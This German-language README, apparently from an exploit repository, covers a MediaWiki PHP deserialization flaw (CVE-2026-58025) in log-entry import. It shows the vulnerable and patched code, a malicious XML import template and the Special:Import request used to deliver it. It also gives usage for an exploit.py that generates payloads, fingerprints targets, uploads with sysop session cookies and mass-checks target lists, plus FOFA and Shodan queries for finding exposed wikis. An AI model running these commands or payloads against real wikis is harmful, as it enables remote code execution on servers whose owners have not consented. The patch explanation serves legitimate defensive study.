
CVE-2026-58025 — MediaWiki Deserialization RCE via Log Entry Import. LogEntryBase::extractParams() unserialize() user-controlled log_params. CVSS 9.8 | CWE-502 | MediaWiki < 1.43.9, < 1.44.6, < 1.45.4, < 1.46.0
CVE-2026-58025 ist eine kritische (CVSS 9.8) Schwachstelle durch Deserialisierung unzuverlässiger Daten in MediaWiki (Wikimedia Foundation). Die Methode LogEntryBase::extractParams() rief unserialize() mit benutzergesteuerten Log-Eintrag-Parametern auf, ohne einzuschränken, welche PHP-Klassen instanziiert werden konnten. Ein Angreifer mit dem Recht importupload oder import (Standard: Gruppe sysop) konnte eine bösartige XML-Importdatei mit serialisierten PHP-Objekten in <params>-Feldern erstellen, wodurch eine beliebige Objektinstanziierung und potenzielle Remote-Code-Ausführung über Gadget-Ketten ausgelöst werden konnte.
| Versionszweig |
|---|
Anforderungen: Das Recht
importoderimportupload(Standard: Gruppesysop). Der Angreifer muss in der Lage sein, eine XML-Datei über Special:Import von MediaWiki hochzuladen oder zu importieren.
LogEntryBase::extractParams() in includes/Logging/LogEntryBase.php rief unserialize() direkt mit dem log_params-Blob auf, ohne irgendeine Klasseneinschränkung:
// includes/Logging/LogEntryBase.php (BEFORE fix)
public static function extractParams( $blob ) {
return unserialize( $blob ); // ← user-controlled, no allowed_classes restriction
}
Diese Methode wird an mehreren Stellen aufgerufen:
Der primäre Angriffsvektor ist der XML-Import über Special:Import:
import/importupload) erstellt eine bösartige MediaWiki-XML-Exportdatei<logitem>-Element mit einem <params>-Feld, das eine PHP-serialisierte Nutzlast enthältWikiImporter::processLogItem() → WikiRevision::importLogItem() speichert den Log-EintragDatabaseLogEntry::getParameters(), RecentChange::parseParams() oder die Log-Anzeige), ruft LogEntryBase::extractParams() unserialize() mit dem vom Angreifer kontrollierten Blob aufPOST /wiki/Special:Import
Content-Type: multipart/form-data
action=submit
xmlimportfile=<malicious.xml>
source=file
catname=
prefix=
loginComment=
malicious.xml:
<mediawiki ...>
<logitem>
<type>test</type>
<action>test</action>
<params>a:1:{s:3:"foo";O:8:"GadgetClass":N:{...}}</params>
</logitem>
</mediawiki>
→ WikiImporter::handleLogItem()
→ WikiImporter::processLogItem()
→ WikiRevision::importLogItem() → stores to DB
→ Later: DatabaseLogEntry::getParameters()
→ LogEntryBase::extractParams( $blob ) → unserialize( $blob )
→ PHP instantiates GadgetClass object → __wakeup() / __destruct() gadget chain
→ RCE as www-data
Das <params>-Feld im XML-Import akzeptiert PHP-serialisierte Zeichenfolgen im Standardformat. Ein sicherer (harmloser) Eintrag:
a:1:{s:3:"foo";s:3:"bar";}
Ein bösartiger Eintrag, der ein serialisiertes Objekt enthält:
a:1:{s:3:"foo";O:8:"stdClass":0:{}}
Wenn unserialize() ohne die Einschränkung allowed_classes aufgerufen wird, wird das Objekt vollständig instanziiert. Mit einer verfügbaren Gadget-Kette (z. B. aus per Composer installierten Bibliotheken) wird daraus RCE.
Commit: 60f154d4618063ac4d5832285fc246b8fcd7c72c
Autor: Bartosz Dziewoński
Datum: 2026-06-29
Die Behebung implementiert mehrere Verteidigungsebenen:
unserialize() mit allowed_classes// includes/Logging/LogEntryBase.php (AFTER fix)
public static function extractParams( $blob, ?string $logType = null ) {
$attribute = ExtensionRegistry::getInstance()->getAttribute( 'LogParamsAllowedClasses' );
if ( $logType && array_key_exists( $logType, $attribute ) && is_array( $attribute[$logType] ) ) {
$allowedClasses = $attribute[$logType];
} else {
$allowedClasses = false; // no classes allowed
}
$result = @unserialize( $blob, [ 'allowed_classes' => $allowedClasses ] );
if ( $result !== false && !is_array( $result ) ) {
return false;
}
return $result;
}
containsUnsafeParams()Erkennt __PHP_Incomplete_Class-Instanzen (Objekte, die durch allowed_classes blockiert wurden):
public static function containsUnsafeParams( array $params ): bool {
$result = false;
$params = [ $params ];
array_walk_recursive( $params, static function ( $val ) use ( &$result ) {
if ( $val instanceof \__PHP_Incomplete_Class ) {
$result = true;
}
} );
return $result;
}
WikiImporter::processLogItem()Neue Berechtigungsprüfung logentryimport (standardmäßig niemandem zugewiesen):
private function processLogItem( $logInfo ) {
if ( !$this->performer->authorizeAction( 'logentryimport' ) ) {
$this->notice( 'permissionserrorstext-withaction-noreason', ... );
return false;
}
// ...
}
WikiRevision::importLogItem() — Ablehnung unsicherer Parameterif ( LogEntryBase::containsUnsafeParams(
LogEntryBase::extractParams( $this->params, "{$this->type}/{$this->action}" ),
) ) {
wfDebug( __METHOD__ . ": skipping {$this->type}/{$this->action} with unsafe params" );
return false;
}
UnsafeLogFormatter — sichere Anzeige vorhandener bösartiger EinträgeDie neue Klasse UnsafeLogFormatter ersetzt den normalen Formatierer für Einträge, die blockierte Objekte enthalten, und zeigt eine Platzhalternachricht an, anstatt zu versuchen, die gefährlichen Daten zu formatieren.
Dieselbe Forschung (T422244) zeigte auch, dass der Parametertyp raw von LogFormatter rohe HTML-Ausgabe aus benutzergesteuerten Log-Parametern erlaubte. Dies wurde in einem Begleit-Commit behoben, indem Message::rawParam() in Message::plaintextParam() geändert wurde.
Das enthaltene exploit.py erzeugt eine bösartige MediaWiki-XML-Importdatei, die serialisierte PHP-Objekte in Log-Eintrag-Parametern enthält. Es kann auch MediaWiki-Instanzen per Fingerprinting identifizieren und den Import über die API versuchen.
# Generate malicious XML payload
python exploit.py --generate --output payload.xml
# Fingerprint target
python exploit.py -u https://target.com --check
# Full exploit (requires valid session cookies for sysop user)
python exploit.py -u https://target.com -c "session_cookies_here"
git clone https://github.com/shinthink/CVE-2026-58025.git
cd CVE-2026-58025
pip install requests
# Generate malicious XML import file
python exploit.py --generate --output payload.xml
# Fingerprint MediaWiki version
python exploit.py -u https://target.com --check
# Upload malicious XML via Special:Import (requires sysop session)
python exploit.py -u https://target.com -c "wiki_session=abc123; wikiUserID=1; wikiUserName=admin"
# Bulk check
python exploit.py -f targets.txt --check -o results.txt
FOFA: body="mediawiki" && body="Special:Import"
Shodan: http.html:"mediawiki"
SECURITY: Safely unserialize log entry parametersLogFormatter: 'raw' parameter format is no longer raw HTMLDieses Exploit dient ausschließlich zu Bildungszwecken und für autorisierte Sicherheitsforschung. Verwenden Sie es nicht gegen Systeme ohne ausdrückliche Erlaubnis des Eigentümers.
| Verwundbar |
|---|
| Behoben |
|---|
| 1.43.x | < 1.43.9 | 1.43.9 |
| 1.44.x | < 1.44.6 | 1.44.6 |
| 1.45.x | < 1.45.4 | 1.45.4 |
| 1.46.x | < 1.46.0 | 1.46.0 |
| Datei | Zeile | Kontext |
|---|
includes/Logging/DatabaseLogEntry.php | 187 | getParameters() — Lesen von Log-Einträgen aus der DB |
includes/RecentChanges/RecentChange.php | 781 | parseParams() — Parsen der letzten Änderungen |
includes/Import/WikiRevision.php | 638 | importLogItem() — Importieren von Log-Einträgen aus XML |
maintenance/purgeChangedFiles.php | 182 | Log-Parsing im Wartungsskript |
tests/phpunit/maintenance/DumpAsserter.php | 541 | Testhilfsmittel |